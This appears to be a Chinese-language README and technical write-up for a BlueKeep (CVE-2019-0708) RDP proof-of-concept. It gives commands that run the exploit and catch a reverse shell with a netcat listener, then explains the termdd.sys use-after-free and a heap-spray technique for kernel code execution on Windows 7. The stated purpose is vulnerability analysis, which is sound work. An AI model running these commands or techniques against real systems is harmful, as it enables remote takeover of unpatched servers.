本仓库演示了 Windows 远程桌面服务 (RDS) 中的远程代码执行漏洞。
这是我们之前开发的关于 BlueKeep 漏洞的 POC 代码和技术报告。
注意: 我们的目标是帮助分析人员更好地理解关键漏洞。
我们的利用代码使用 Python 3 编写,并依赖于 PyRDP 库。请按照 PyRDP 的安装指南进行设置。
目前,我们的利用工具针对并在 Virtual Box 上的 Windows 7 SP 1 (6.1.7601) x64 上进行了测试。
如果你的计算机 IP 地址为 192.168.56.1,并且目标 RDP 服务器位于 example.com:1234,则输入:
$ python exploit.py example.com -rp 1234 192.168.56.1
如果脚本成功利用服务器,一个反向连接 shellcode 会从服务器发起一个 TCP 连接到 192.168.56.1:4444。 因此,例如你应该使用 netcat 等待连接:
$ nc -v -l 4444
如果你想更改服务器回连的端口号,请使用 -bp 选项:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
2019 年 5 月,微软披露了远程桌面服务(原终端服务)中的一个严重远程代码执行漏洞 CVE-2019-0708。该漏洞是预认证的——意味着该漏洞具有蠕虫特性,可能造成广泛破坏。攻击者可以通过向目标服务器发送特制的远程桌面协议(RDP)消息来利用此漏洞,并以管理权限执行任意代码。
Microsoft 远程桌面服务允许用户远程打开交互式 Windows 会话。它通过远程桌面协议(RDP)在 3389/TCP 端口上与用户客户端通信,向用户呈现 Windows 桌面。
RDP 协议可以通过称为虚拟通道的软件扩展来增强功能。功能增强的示例可能包括:支持特殊类型的硬件、音频或其他对核心功能的补充。
这些通道包括标准 Microsoft 提供的通道,如 "rdpdr"(重定向)、"rdpsnd"(声音)、"cliprdr"(剪贴板共享)等。用户可以使用 RDP API 编写模块以支持其他通道。除了上述通道外,Microsoft 默认创建了两个通道:MS_T120(用于 RDP 本身)和 CTXTW(用于 Citrix ICA)。
该漏洞与通过 "MCS Connect Initial 和 GCC Create" 请求进行的 MS_T120 虚拟通道绑定过程有关。更多背景信息可从 ZDI 获取。
正如 ZDI 文章所述,客户端请求的所有虚拟通道都是通过 termdd!IcaCreateChannel() 创建的。然后,指向这些通道结构的指针存储在一个表中,我们称之为 ChannelPointerTable。
当与 RDP 客户端建立连接时,包括 MS_T120 在内的所有静态虚拟通道都由 Windows RDP 服务器内部初始化,并由 ChannelPointerTable 指向。
创建 MS_T120 和 CTXTW 的查询由 rdpcore!WDLIB_IcaVirtualQueryBindings() 发起。
图 1:生成用于创建 MS_T120 和 CTXTW 的查询
查询传递到 termdd!IcaBindVirtualChannels() 后,在 termdd!IcaAllocateChannel() 中创建虚拟通道结构,并注册到 ChannelPointerTable 中。
图 2:创建并注册虚拟通道结构
函数例程 termdd!IcaBindChannel() 负责将虚拟通道结构注册到 ChannelPointerTable 中。

以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x1f 调用时。
图 3:MS_T120 在初始请求期间绑定到插槽 0x1f
然后 ChannelPointerTable 如下所示。注意 MS_T120 始终存在于插槽 0x1F 中。
图 4:初始请求期间的 ChannelPointerTable
Windows RDP 内核驱动 termdd.sys 中存在一个释放后使用漏洞。
问题在于,当客户端在 "MCS Connect Initial 和 GCC Create" 期间指定名为 MS_T120\x00 的通道时,termdd!IcaCreateChannel() 调用 termdd!IcaFindChannelByName() 并返回插槽 0x1F 中现有的 MS_T120 通道结构。然后,在 "MCS Attach User Request" 期间,该通道结构被视为一个新的虚拟通道条目,并存储在其他插槽(本例中为插槽 2)中。
以下是在 Windows 7 x64 上的堆栈跟踪,当 termdd!IcaBindChannel() 以第一个参数 "MS_T120" 和第三个参数 0x2 调用时。
图 5:MS_T120 在附加请求期间也绑定到插槽 0x2
换句话说,MS_T120 通道结构被两个插槽 0x1F 和 0x2 指向。
图 6:附加请求期间的 ChannelPointerTable
如果攻击者随后向 MS_T120 通道发送无效数据,termdd.sys 使用 termdd!IcaCloseChannel() 关闭通道,并清除该插槽处的指针(本例中为插槽 2)。
然而,插槽 0x1F 中的相同指针并未被清除。
随后,当连接终止时,RDPWD!HandleDisconnectProviderUlt() 被调用,后者又调用 termdd!IcaChannelInputInternal(),并尝试再次使用插槽 0x1F 处的指针来销毁已释放的 MS_T120 通道结构。通过通道结构中的 vtable 指针调用销毁过程。这导致了一个释放后使用条件。
图 7:vtable 解引用
如前所述,RDPWD!HandleDisconnectProviderUlt() 尝试从已释放通道结构中的 vtable 指针调用函数。如果攻击者能够控制通道结构中的值,他就可以覆盖 vtable 指针,从而导致以内核权限执行任意代码。
然而,要实现这一点,存在两个难点。
一是如何首先控制已释放通道结构中的值。为此,攻击者通常在释放的结构所在位置分配内存,因为目标漏洞是释放后使用。
但是,在这种情况下,他无法确定性按自己的意愿在目标位置分配内存。这是因为在内核中,许多线程同时运行并分配内存(实际上几乎是同时的)。他的内存分配在哪里取决于线程运行的顺序。在几乎所有情况下,他无法确定是否成功进行了分配。


另一个难点是在哪里设置 vtable 及其指针的地址。如前一节所述,攻击者需要设置 vtable 的地址。由于他希望获得任意代码执行,他应该设置地址,使得伪造的 vtable 包含他想要执行的地址(例如 shellcode 或某些 gadget 的地址)。
然而,由于内核堆和 KASLR 的随机性,他几乎无法知道这样的合适地址:
这些事实意味着,即使攻击者能够控制 vtable 指针,他也无法直接获得任意代码执行,除非他利用另一个漏洞来泄漏内核中的地址。 此外,你可能注意到,“shellcode 或某些 gadget 的地址”也是攻击者无法知道的。
我们的利用通过单一技术解决了这些障碍:堆喷射。堆喷射是一种打破这些随机性的方法,它大量分配大量内存。
图 8:喷射前堆池的使用情况
图 9:喷射后堆池的使用情况
通过多次重复特制的分配,攻击者可以增加某些分配的内存位于已释放通道结构位置的概率。
如果内核堆中的大多数对象都是攻击者准备的,那么他甚至可以粗心地指定堆中的某个地址作为伪造 vtable 的地址,因为指定的地址很可能指向他的对象。我们注意到,内核堆的基地址不会被 KASLR 随机化。基本上,堆的随机性仅来自线程执行顺序。
幸运且最重要的是,在 Windows 7 中,非分页内核池未启用 NX 位。这意味着攻击者不仅可以在内核堆中存储伪造的 vtable,还可以直接存储 shellcode。这使得利用更加容易,因为我们不需要使用返回导向编程。
图 10:页表项(PTE)权限